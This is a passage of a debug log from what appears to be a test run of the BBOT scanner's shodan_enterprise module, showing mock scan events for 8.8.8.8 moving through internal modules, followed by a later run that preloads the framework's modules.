'in-scope'}) -2026-03-02 09:06:10,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:06:10,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:06:10,231 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,232 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:06:10,233 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) because precheck succeeded -2026-03-02 09:06:10,233 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,233 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,233 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:06:10,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:06:10,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:06:10,234 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,234 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:06:10,235 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:06:10,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,235 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because precheck succeeded -2026-03-02 09:06:10,236 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,236 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,236 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:06:10,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,237 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:06:10,237 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:06:10,238 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,238 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,238 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded -2026-03-02 09:06:10,238 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:06:10,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,240 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:06:10,241 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because precheck succeeded -2026-03-02 09:06:10,241 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:06:10,241 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:06:10,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because event was already emitted by its module -2026-03-02 09:06:10,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:06:10,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:06:10,242 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,243 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) -2026-03-02 09:06:10,243 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) because precheck succeeded -2026-03-02 09:06:10,243 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,244 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,244 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:06:10,244 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:06:10,244 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:06:10,245 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,245 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because precheck succeeded -2026-03-02 09:06:10,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:06:10,245 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:06:10,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:06:10,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) -2026-03-02 09:06:10,246 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) because precheck succeeded -2026-03-02 09:06:10,308 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) from shodan_enterprise -2026-03-02 09:06:10,308 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check -2026-03-02 09:06:10,309 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) from shodan_enterprise -2026-03-02 09:06:10,309 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check -2026-03-02 09:06:10,310 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) from shodan_enterprise -2026-03-02 09:06:10,310 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,310 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise -2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) from shodan_enterprise -2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise -2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) from shodan_enterprise -2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) from shodan_enterprise -2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:06:10,313 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) from shodan_enterprise -2026-03-02 09:06:10,314 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,314 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) from shodan_enterprise -2026-03-02 09:06:10,314 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:06:10,314 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 09:06:10,315 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 09:06:10,315 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 09:06:10,315 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 09:06:10,315 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 09:06:10,316 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 09:06:10,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 09:06:10,316 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 09:06:10,417 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 09:06:10,418 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 09:06:10,427 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 09:06:10,427 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 09:06:10,428 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 09:06:10,432 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 09:06:10,432 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 09:06:10,433 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 09:06:10,433 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 09:06:10,433 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 09:06:10,434 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 09:06:10,501 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_p5zhnund7e completed in 0 seconds with status FINISHED -2026-03-02 09:06:10,502 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 09:06:10,503 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:06:10,504 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events -2026-03-02 09:06:10,504 [CRITICAL] bbot test_module_shodan_enterprise.py:77 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] -2026-03-02 09:06:10,504 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2021-12345': 'HIGH', 'CVE-2022-11111': 'CRITICAL', 'CVE-2020-00001': 'LOW'} -2026-03-02 09:06:10,504 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-02 09:06:10,505 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-02 09:12:58,466 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 09:12:58,474 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-02 09:12:58,475 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-02 09:12:58,476 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-02 09:12:58,476 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-02 09:12:58,477 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-02 09:12:58,477 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-02 09:12:58,478 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-02 09:12:58,478 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-02 09:12:58,479 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-02 09:12:58,479 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-02 09:12:58,480 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-02 09:12:58,480 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-02 09:12:58,481 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-02 09:12:58,481 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-02 09:12:58,482 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-02 09:12:58,482 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-02 09:12:58,483 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-02 09:12:58,483 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-02 09:12:58,484 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-02 09:12:58,484 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-02 09:12:58,485 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-02 09:12:58,485 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 09:12:58,486 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-02 09:12:58,486 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-02 09:12:58,487 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-02 09:12:58,487 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-02 09:12:58,488 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-02 09:12:58,488 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-02 09:12:58,488 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 09:12:58,489 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-02 09:12:58,489 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 09:12:58,490 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-02 09:12:58,490 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-02 09:12:58,491 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-02 09:12:58,491 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-02 09:12:58,491 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-02 09:12:58,492 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-02 09:12:58,492 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-02 09:12:58,493 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-02 09:12:58,496 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-02 09:12:58,496 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-02 09:12:58,497 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-02 09:12:58,497 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-02 09:12:58,498 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-02 09:12:58,498 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-02 09:12:58,498 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-02 09:12:58,499 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-02 09:12:58,499 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-02 09:12:58,500 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-02 09:12:58,500 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-02 09:12:58,501 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-02 09:12:58,501 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-02 09:12:58,501 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-02 09:12:58,502 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-02 09:12:58,502 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-02 09:12:58,503 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-02 09:12:58,503 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-02 09:12:58,503 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-02 09:12:58,504 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-02 09:12:58,504 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-02 09:12:58,504 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from 